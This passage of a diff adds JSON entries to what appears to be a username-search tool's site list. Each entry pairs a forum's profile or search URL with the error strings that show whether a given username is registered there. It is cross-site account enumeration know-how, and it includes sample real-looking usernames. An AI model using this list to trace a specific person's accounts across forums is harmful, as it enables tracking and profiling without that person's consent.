"errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "https://forum.originalpw.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.originalpw.com", + "usernameON": "FIESTA", + "bad_site": "" + }, + "Forum_orth": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://orth.ucoz.ru/index/8-0-{}", + "urlMain": "https://orth.ucoz.ru", + "usernameON": "svv", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_orthodox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://orthodox.3dn.ru/index/8-0-{}", + "urlMain": "https://orthodox.3dn.ru", + "usernameON": "rob3k", + "bad_site": "" + }, + "Forum_oscraps": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://oscraps.com/community/members/?username={}", + "urlMain": "https://oscraps.com", + "usernameON": "prospurring", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oslobodjenje": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Ništa nije pronađeno.", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.sport1.oslobodjenje.ba/memberlist.php?username={}", + "urlMain": "https://forum.sport1.oslobodjenje.ba", + "usernameON": "ARBET", + "bad_site": "" + }, + "Forum_ostrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ostrov.ucoz.net/index/8-0-{}", + "urlMain": "https://ostrov.ucoz.net", + "usernameON": "DENI30S", + "bad_site": "" + }, + "Forum_Oszone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.oszone.net/member.php?username={}", + "urlMain": "http://forum.oszone.net", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_otelefonax": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otelefonax.ucoz.ru/index/8-0-{}", + "urlMain": "https://otelefonax.ucoz.ru", + "usernameON": "Christophernot", + "bad_site": "" + }, + "Forum_otlichnica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://otlichnica.ucoz.ru/index/8-0-{}", + "urlMain": "http://otlichnica.ucoz.ru/", + "usernameON": "iamlovergirl97", + "bad_site": "" + }, + "Forum_otpm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://otpm.do.am/index/8-0-{}", + "urlMain": "https://otpm.do.am", + "usernameON": "ua4lor", + "bad_site": "" + }, + "Forum_otzyvby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не зарегистрирован", + "errorMsg2": "с вашего IP-адреса", + "errorTyp��": "message", + "url": "https://otzyv.ru/reguser.php?poisk={}", + "urlMain": "https://otzyv.ru", + "usernameON": "Elena31", + "bad_site": "" + }, + "Forum_ourbeagleworld": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ourbeagleworld.com/members/?username={}", + "urlMain": "https://www.ourbeagleworld.com", + "usernameON": "lovebeagles", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourdjtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://ourdjtalk.com/djs/?username={}", + "urlMain": "https://ourdjtalk.com", + "usernameON": "spincin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ourflowers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourflowers.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourflowers.ucoz.ru", + "usernameON": "kirikibus23", + "bad_site": "" + }, + "Forum_ourperevoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ourperevoz.ucoz.ru/index/8-0-{}", + "urlMain": "https://ourperevoz.ucoz.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_ourtravels": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ourtravels.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&sid=d95024f932e887fccc0e58315bcd2b5d&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ourtravels.ru/", + "usernameON": "Maria", + "bad_site": "" + }, + "Forum_outdoors911": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.outdoors911.com/reports/member.php?username={}", + "urlMain": "https://www.montanaowners.com", + "usernameON": "Legend1958", + "bad_site": "" + }, + "Forum_outdoorsdirectory": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.outdoorsdirectory.com/members/?username={}", + "urlMain": "https://forums.outdoorsdirectory.com", + "usernameON": "leryt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_outpostgallifrey": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://outpostgallifrey.com/members/?username={}", + "urlMain": "https://outpostgallifrey.com", + "usernameON": "rocco", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ovcharka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ovcharka.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://ovcharka.kamrbb.ru", + "usernameON": "Tuadash", + "bad_site": "" + }, + "Forum_over50schat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.over50schat.com/u/{}/summary", + "urlMain": "https://forum.over50schat.com", + "usernameON": "flowerpower", + "bad_site": "" + }, + "Forum_overclock": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.overclock.net/members/?username={}", + "urlMain": "https://www.overclock.net/", + "usernameON": "chipp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Overclockers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.overclockers.ru/memberlist.php?username={}", + "urlMain": "https://forums.overclockers.ru", + "usernameON": "patisson", + "bad_site": "" + }, + "Forum_ovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ovo.ucoz.ru/index/8-0-{}", + "urlMain": "http://ovo.ucoz.ru/", + "usernameON": "Vitu", + "bad_site": "" + }, + "Forum_ovtsoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ovtsoft.3dn.ru/index/8-0-{}", + "urlMain": "https://ovtsoft.3dn.ru", + "usernameON": "mpg25music", + "bad_site": "" + }, + "Forum_paboma": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paboma.ucoz.ru/index/8-0-{}", + "urlMain": "https://paboma.ucoz.ru", + "usernameON": "paboma", + "bad_site": "" + }, + "Forum_packer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.packerforum.com/members/?username={}", + "urlMain": "https://www.packerforum.com", + "usernameON": "weeds", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pagohku": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "bad_site": "" + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": 